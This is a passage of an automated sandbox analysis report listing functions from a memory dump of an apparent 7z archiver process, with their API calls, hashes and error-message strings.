                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$Leave$EnterH_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2532973370-0
                                                                                                                                                                                                                                                                    • Opcode ID: 4d6a4a612072c93a50b533ecd3328e7ac67e91ff4f9cf811b7ffc81c4b61326a
                                                                                                                                                                                                                                                                    • Instruction ID: 384de0c0eab1f072d06d9afc214787370e5795724acc5e6ed63833e081122205
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4d6a4a612072c93a50b533ecd3328e7ac67e91ff4f9cf811b7ffc81c4b61326a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9011A136B00602ABC714EF98D8C4B6EB7E5FF4E710B10852DE91AD7B41CB74AD058B64
                                                                                                                                                                                                                                                                    Function 00C54F8F Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C54F94
                                                                                                                                                                                                                                                                    • CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000001), ref: 00C54FB6
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?,00000000,00000001), ref: 00C54FC0
                                                                                                                                                                                                                                                                    • CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000000,00000001), ref: 00C54FF7
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateDirectory$ErrorH_prologLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1817354178-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9160d24f59c38169b02510434f177b34b850f408506513adfa9eed40332648cb
                                                                                                                                                                                                                                                                    • Instruction ID: 99f7fb39b77fc8b4b3ad4366cdccf854e060f0a7c2b356f0642181f53748f472
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9160d24f59c38169b02510434f177b34b850f408506513adfa9eed40332648cb
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DA01683A90020197CB247BA49C467BE7B25DF90362F040022EE02A31D1CF208ECDBAD9
                                                                                                                                                                                                                                                                    Function 00C7A806 Relevance: 6.1, APIs: 4, Instructions: 51COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7A80B
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C946E0), ref: 00C7A81D
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7A86D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: __EH_prolog.LIBCMT ref: 00C51C82
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: fputs.MSVCRT ref: 00C51CF5
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C5B: fflush.MSVCRT ref: 00C51C5D
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C946E0), ref: 00C7A899
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalH_prologSectionfputs$EnterLeavefflushfputc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 84800229-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7470a0dd0e536a032c4b373ad62b031fc02110bcccd51f51d36ab978a0c15248
                                                                                                                                                                                                                                                                    • Instruction ID: dd2885fbcb591ffca0a6d9bec2a9855146b526431e50132a0535c560f9b6d1e7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7470a0dd0e536a032c4b373ad62b031fc02110bcccd51f51d36ab978a0c15248
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1611E171600600DFCB11AF24DC89BAEB7F5FF84314F15842EE85A93251DB31AC089B69
                                                                                                                                                                                                                                                                    Function 00C79308 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7930D
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C946C0), ref: 00C79322
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8D068), ref: 00C7935F
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C946C0,00000000,00000000,?,00C8D068), ref: 00C79378
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterExceptionH_prologLeaveThrow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4150843469-0
                                                                                                                                                                                                                                                                    • Opcode ID: 56fe546cb0963f451f2a743237ee1dd9ebbbf004f401be98574aa5d6c787e36f
                                                                                                                                                                                                                                                                    • Instruction ID: 5dbaaa724b37207659da5d1856e09ab2efa0e65bf2b6893752ac11ea0bdde4d3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 56fe546cb0963f451f2a743237ee1dd9ebbbf004f401be98574aa5d6c787e36f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1801B57190061AEFDF04EF44C845BEEB779FF44319F108126F41563550DB70AA09CBA8
                                                                                                                                                                                                                                                                    Function 00C6A711 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 419COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6A716
                                                                                                                                                                                                                                                                      • Part of subcall function 00C66FFB: __EH_prolog.LIBCMT ref: 00C67000
                                                                                                                                                                                                                                                                      • Part of subcall function 00C689EE: __EH_prolog.LIBCMT ref: 00C689F3
                                                                                                                                                                                                                                                                      • Part of subcall function 00C6A15E: __EH_prolog.LIBCMT ref: 00C6A163
                                                                                                                                                                                                                                                                      • Part of subcall function 00C6A15E: strcmp.MSVCRT ref: 00C6A20D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$freestrcmp
                                                                                                                                                                                                                                                                    • String ID: Scanning error
                                                                                                                                                                                                                                                                    • API String ID: 4197192761-2691707340
                                                                                                                                                                                                                                                                    • Opcode ID: eddf66d2a01f9dfaded4a1da38c4f2e2a4858dfefd1b48113d0b86d350e43bd9
                                                                                                                                                                                                                                                                    • Instruction ID: 808caf38aec91bde9e226fad4c4a12cdeaf9bf8ff97a17b2ff2b570b1d7a5455
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: eddf66d2a01f9dfaded4a1da38c4f2e2a4858dfefd1b48113d0b86d350e43bd9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 01026770D00259DFCF25DFA4C884AEDBBB5AF54310F24809AE459B72A2DB709E85EF11
                                                                                                                                                                                                                                                                    Function 00C69702 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 373COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C69707
                                                                                                                                                                                                                                                                      • Part of subcall function 00C6DD60: __EH_prolog.LIBCMT ref: 00C6DD65
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00C88294,-00000087,0000000D,00000000,00000000,?), ref: 00C69A58
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Can not create output directory: , xrefs: 00C69A6C
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ErrorLast
                                                                                                                                                                                                                                                                    • String ID: Can not create output directory:
                                                                                                                                                                                                                                                                    • API String ID: 2901101390-3123869724
                                                                                                                                                                                                                                                                    • Opcode ID: ee6cdc6d2a2e341f57e0790564c7b5b28098e768ff9da85825c67f7011f2abe7
                                                                                                                                                                                                                                                                    • Instruction ID: dc53e248f1754097a33dc9df7838d166abe3489708963adedfb4a3a571be3fd1
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ee6cdc6d2a2e341f57e0790564c7b5b28098e768ff9da85825c67f7011f2abe7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A9E1B074901289DFDF21EFA4C890AEEBBB9FF49300F14409DE855A7252DB309E49EB51
                                                                                                                                                                                                                                                                    Function 00C6E2BF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: Unknown error$Unknown warning
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-4291957651
                                                                                                                                                                                                                                                                    • Opcode ID: 465ffba7183b7c16bd9c97d279a2d446525130aeab84172c253297d70c650e27
                                                                                                                                                                                                                                                                    • Instruction ID: 8f6279e7dc089f02b4fe8bba0967cb596b956b27714f8cf56e98611feb18fae6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 465ffba7183b7c16bd9c97d279a2d446525130aeab84172c253297d70c650e27
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 67915D75900309CBCB24DFA4C591AEEB7F1FF48304F14856EE41AA7281EB31AE49CB54
                                                                                                                                                                                                                                                                    Function 00C5CCF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5CCF6
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5CEC8
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • incorrect update switch command, xrefs: 00C5CEB5
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionH_prologThrowfree
                                                                                                                                                                                                                                                                    • String ID: incorrect update switch command
                                                                                                                                                                                                                                                                    • API String ID: 2564996034-2497410926
                                                                                                                                                                                                                                                                    • Opcode ID: 6789e08f2bf9e736385f1e0dcba6befb04b38c18dd94161b04c68a18067f09a3
                                                                                                                                                                                                                                                                    • Instruction ID: 6e2bc26fb29ad717e9c6f86ebe1eea8438fc6a0e4fee5e1c0a706eaf688cd53c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6789e08f2bf9e736385f1e0dcba6befb04b38c18dd94161b04c68a18067f09a3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FD514836C00219DFDF25EB94D886BEDBBB4BF04311F144199E825772A1CB706E89EB58
                                                                                                                                                                                                                                                                    Function 00C541B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: wcscmp
                                                                                                                                                                                                                                                                    • String ID: UNC
                                                                                                                                                                                                                                                                    • API String ID: 3392835482-337201128
                                                                                                                                                                                                                                                                    • Opcode ID: 935d3768205dd1b504320bde93f12bd827447d6fe4ba08e2cfbf5dc1709a62b3
                                                                                                                                                                                                                                                                    • Instruction ID: b8b363992b965ac9accea5940f16b82c76431e9b369d14439ff85c6197dd9156
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 935d3768205dd1b504320bde93f12bd827447d6fe4ba08e2cfbf5dc1709a62b3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DD21903D3006109FD728CB48CD94E25B3E1EF8971AF248469FA659F652CA21EDC8CB08
                                                                                                                                                                                                                                                                    Function 00C815E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68stringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: __aulldivstrlen
                                                                                                                                                                                                                                                                    • String ID: M
                                                                                                                                                                                                                                                                    • API String ID: 1892184250-3664761504
                                                                                                                                                                                                                                                                    • Opcode ID: f2db612e774543a20c86b74d98cbfb481a1b53fe18157e928ef5eb03df205a07
                                                                                                                                                                                                                                                                    • Instruction ID: 1c2560c8ef53407a0d8a3558d178dc98727bbc9aefca5d330ec074689ff948e3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f2db612e774543a20c86b74d98cbfb481a1b53fe18157e928ef5eb03df205a07
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B3113B756003846BDB11EAB4CC45FAE77EDDB88714F18086DFA83971C1D571AD0A9328
                                                                                                                                                                                                                                                                    Function 00C5D050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5D055
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5D0F2
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionH_prologThrow
                                                                                                                                                                                                                                                                    • String ID: Unsupported charset:
                                                                                                                                                                                                                                                                    • API String ID: 461045715-616772432
                                                                                                                                                                                                                                                                    • Opcode ID: 66fbc6478ae8643111c7f0216c0f2cbff8dba84e9dfbbdfe74b10303087462a6
                                                                                                                                                                                                                                                                    • Instruction ID: 8a4ff8d76d03a080b2fe04e89d2713fd48c0edf456464f6626ade0dd30600da2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 66fbc6478ae8643111c7f0216c0f2cbff8dba84e9dfbbdfe74b10303087462a6
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DE210535A002099BCF10FF98C881DEDB771EF85319F154169FD566B291CB31AE8ADB84
                                                                                                                                                                                                                                                                    Function 00C7AC67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: 0$x
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-1948001322
                                                                                                                                                                                                                                                                    • Opcode ID: de2041ad77f8e1c71cc29b03cd500a78567a1a318698c68e2f0c7748ea9ae586
                                                                                                                                                                                                                                                                    • Instruction ID: 004d30ffc016c6b1d0d97c4353d02f5393079d20026e2b1f501b14fa521bf9c2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: de2041ad77f8e1c71cc29b03cd500a78567a1a318698c68e2f0c7748ea9ae586
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8F219A76D00119ABCF05EBD8C982AEEB7B5FF88304F20005AE80177241DB755E48DBA9
                                                                                                                                                                                                                                                                    Function 00C62CB7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: / $ :
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-1815150141
                                                                                                                                                                                                                                                                    • Opcode ID: 6584ed00f6ede47ebeb425242d55029a394c8c76c9064c4fc62914423432d92d
                                                                                                                                                                                                                                                                    • Instruction ID: e2ab7cf6fea16b15bcaf38d0ba1b0b32b71372ddc3a3bf4540c8193e7e6e7ced
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6584ed00f6ede47ebeb425242d55029a394c8c76c9064c4fc62914423432d92d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0A1145769005189BCF14EBE4CC92EEEB7B4BF19701F04041DE402B21A1DB78AA08EB68
                                                                                                                                                                                                                                                                    Function 00C5E288 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5E28D
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?), ref: 00C5E299
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54AD4: __EH_prolog.LIBCMT ref: 00C54AD9
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
